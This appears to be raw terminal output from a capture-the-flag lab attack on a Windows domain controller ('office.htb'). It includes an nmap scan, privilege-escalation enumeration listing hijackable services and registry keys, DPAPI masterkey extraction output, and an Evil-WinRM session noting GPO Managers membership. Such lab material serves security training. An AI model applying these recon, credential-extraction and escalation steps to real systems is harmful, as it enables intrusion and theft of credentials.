└─$ sudo nmap -sS -sV -T4 -A $IP -p$(sudo nmap -sS -p- $IP --min-rate=5000|grep -i open |awk -F '/''{print $1}'|tr -s '\n'',') --min-rate=5000 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-19 06:28 EST Nmap scan report for DC.office.htb (10.10.1x.x) Host is up (0.45s latency).
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28) |_http-title: Home |_http-generator: Joomla! - Open Source Content Management | http-robots.txt: 16 disallowed entries (15 shown) | /joomla/administrator/ /administrator/ /api/ /bin/ | /cache/ /cli/ /components/ /includes/ /installation/ |_/language/ /layouts/ /libraries/ /logs/ /modules/ /plugins/ 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-02-1919:28:59Z) 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=DC.office.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb | Not valid before: 2023-05-10T12:36:58 |_Not valid after: 2024-05-09T12:36:58 443/tcp open ssl/http Apache httpd 2.4.56 (OpenSSL/1.1.1t PHP/8.0.28) | tls-alpn: |_ http/1.1 |_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28 |_ssl-date: TLS randomness does not represent time |_http-title: 403 Forbidden | ssl-cert: Subject: commonName=localhost | Not valid before: 2009-11-10T23:48:47 |_Not valid after: 2019-11-08T23:48:47 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=DC.office.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb | Not valid before: 2023-05-10T12:36:58 |_Not valid after: 2024-05-09T12:36:58 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49664/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49671/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49675/tcp open msrpc Microsoft Windows RPC 50285/tcp open msrpc Microsoft Windows RPC 56622/tcp open msrpc Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2022 (88%) Aggressive OS guesses: Microsoft Windows Server 2022 (88%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: Hosts: DC, www.example.com; OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 53/tcp) HOP RTT ADDRESS 1196.61 ms 10.10.16.1 (10.10.16.1) 2196.55 ms DC.office.htb (10.10.11.3)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 210.58 seconds
CredentialEnrollmentManagerUserSvc_938f9(CredentialEnrollmentManagerUserSvc_938f9)[C:\Windows\system32\CredentialEnrollmentManager.exe] - Manual - Stopped YOU CAN MODIFY THIS SERVICE: GenericExecute (Start/Stop) Credential Enrollment Manager
mysql(mysql)[C:\xampp\mysql\bin\mysqld.exe --defaults-file=c:\xampp\mysql\bin\my.ini mysql] - Auto - Running - No quotes and Space detected Possible DLL Hijacking in binary folder: C:\xampp\mysql\bin (Users [AppendData/CreateDirectories WriteData/CreateFiles])
Apache2.4(Apache Software Foundation - Apache2.4)["C:\xampp\apache\bin\httpd.exe" -k runservice] - Auto - Running Possible DLL Hijacking in binary folder: C:\xampp\apache\bin (Users [AppendData/CreateDirectories WriteData/CreateFiles]) Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
� Check if you can modify any service https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services LOOKS LIKE YOU CAN MODIFY OR START/STOP SOME SERVICE/s: RmSvc: GenericExecute (Start/Stop) ConsentUxUserSvc_938f9: GenericExecute (Start/Stop) CredentialEnrollmentManagerUserSvc_938f9: GenericExecute (Start/Stop) DeviceAssociationBrokerSvc_938f9: GenericExecute (Start/Stop) DevicePickerUserSvc_938f9: GenericExecute (Start/Stop) DevicesFlowUserSvc_938f9: GenericExecute (Start/Stop) PimIndexMaintenanceSvc_938f9: GenericExecute (Start/Stop) PrintWorkflowUserSvc_938f9: GenericExecute (Start/Stop) UdkUserSvc_938f9: GenericExecute (Start/Stop) UnistoreSvc_938f9: GenericExecute (Start/Stop) UserDataSvc_938f9: GenericExecute (Start/Stop) WpnUserService_938f9: GenericExecute (Start/Stop) Check if you can modify installed software https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#software C:\Program Files (x86)\Microsoft\Edge\Application ==> C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20240214004729711_5632.pma (Authenticated Users [DeleteSubdirectoriesAndFiles]) ==> C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20240214004730057_7276.pma (Authenticated Users [DeleteSubdirectoriesAndFiles]) C:\Program Files (x86)\Microsoft\EdgeWebView\Application ==> C:\Program Files (x86)\Microsoft\EdgeWebView\Application\SetupMetrics\20240117095959336_7728.pma (Authenticated Users [DeleteSubdirectoriesAndFiles]) ==> C:\Program Files (x86)\Microsoft\EdgeWebView\Application\SetupMetrics\20240214004755691_7932.pma (Authenticated Users [DeleteSubdirectoriesAndFiles]) RegPath: HKCU\Software\Microsoft\Windows\CurrentVersion\Run RegPerms: ppotts [FullControl] Key: OneDrive Folder: C:\Program Files\Microsoft OneDrive File: C:\Program Files\Microsoft OneDrive\OneDrive.exe /background (Unquoted and Space detected)
RegPath: HKLM\Software\Classes\htmlfile\shell\open\command RegPerms: S-1-5-21-1199398058-4196589450-691661856-1106 [FullControl] Folder: C:\Program Files\Internet Explorer File: C:\Program Files\Internet Explorer\iexplore.exe %1 (Unquoted and Space detected) =================================================================================================
RegPath: HKLM\Software\Wow6432Node\Classes\htmlfile\shell\open\command RegPerms: S-1-5-21-1199398058-4196589450-691661856-1106 [FullControl] Folder: C:\Program Files\Internet Explorer File: C:\Program Files\Internet Explorer\iexplore.exe %1 (Unquoted and Space detected) C:\Users\All Users\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml
2023-07-19 22:51 OFFICE\ppotts Word C:\xampp\htdocs\internal\applications\msf.docm 2023-06-06 21:20 OFFICE\ppotts Word C:\xampp\htdocs\internal\applications\test.docm 2023-05-09 16:05 OFFICE\ppotts Word C:\xampp\htdocs\internal\applications\asdf-it-30-000-0-5-years-asdf@test-com.doc 2023-05-09 16:04 OFFICE\ppotts Word C:\xampp\htdocs\internal\applications\test-it-30-000-0-5-years-test@test-com.doc 2023-05-04 18:05 OFFICE\ppotts Office C:\xampp\htdocs\internal\applications\Doc1.docm 2023-05-04 18:04 OFFICE\ppotts Word C:\Users\Administrator\Desktop\Doc1.docm C:\xampp\htdocs\internal\applications\123-it-30-000-0-5-years-123asd@a-com_resume.odt(2/18/2024 9:02:49 PM) C:\xampp\htdocs\internal\applications(2/18/2024 9:02:49 PM) C:\ProgramData\job.txt(2/14/2024 5:35:41 PM) C:\Users\PPotts\Music\job_offering.ps1(2/14/2024 5:36:02 PM) C:\Users\PPotts\Music(2/14/2024 5:36:02 PM) C:\ProgramData(2/14/2024 5:35:41 PM)
PS C:\Users\PPotts\AppData\Roaming\microsoft\Protect\S-1-5-21-1199398058-4196589450-691661856-1107> dir -force C:\Users\PPotts\AppData\Roaming\microsoft\Credentials dir -force C:\Users\PPotts\AppData\Roaming\microsoft\Credentials
Auto SID from path seems to be: S-1-5-21-1199398058-4196589450-691661856-1107
[backupkey] without DPAPI_SYSTEM: d key : 4d1b2c18baba7442e79d33cc771bf54027ae2500e08da3ecfccf91303bd471b6 sha1: eeb787c4259e3c8b8408201ee5e54fc29fad22b2
[domainkey] with RPC [DC] 'office.htb' will be the domain [DC] 'DC.office.htb' will be the DC server key : 87eedae4c65e0db47fcbc3e7e337c4cce621157863702adc224caf2eedcfbdbaadde99ec95413e18b0965dcac70344ed9848cd04f3b9491c336c4bde4d1d8166 sha1: 85285eb368befb1670633b05ce58ca4d75c73c77
Auto SID from path seems to be: S-1-5-21-1199398058-4196589450-691661856-1107
[backupkey] without DPAPI_SYSTEM: key : 2c19b1b2f1784e79edaed52a319cc5b4ad42179d4906fd084aef8e6e6dd9b8db sha1: 4961d54be229fd871debd903b3d518ea4d362c42
[domainkey] with RPC [DC] 'office.htb' will be the domain [DC] 'DC.office.htb' will be the DC server key : 3f891c81971ccacb02123a9dde170eaae918026ccc0a305b221d3582de4add84c900ae79f950132e4a70b0ef49dea6907b4f319c5dd10f60cc31cb1e3bc33024 sha1: fbab11cacdd8407e8db9604f0f8c92178bee6fd3
*Evil-WinRM* PS C:\Users\HHogan\Documents> net user hhogan User name HHogan Full Name Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 5/6/2023 10:59:34 AM Password expires Never Password changeable 5/7/2023 10:59:34 AM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 5/10/2023 4:30:58 AM Logon hours allowed All Local Group Memberships *Remote Management Use Global Group memberships *Domain Users *GPO Managers The command completed successfully. *Evil-WinRM* PS C:\Users\HHogan\Documents> whoami /groups GROUP INFORMATION ----------------- Group Name Type SID Attributes =========================================== ================ ============================================= ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group **OFFICE\GPO Managers** 《------注意 Group S-1-5-21-1199398058-4196589450-691661856-1117 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
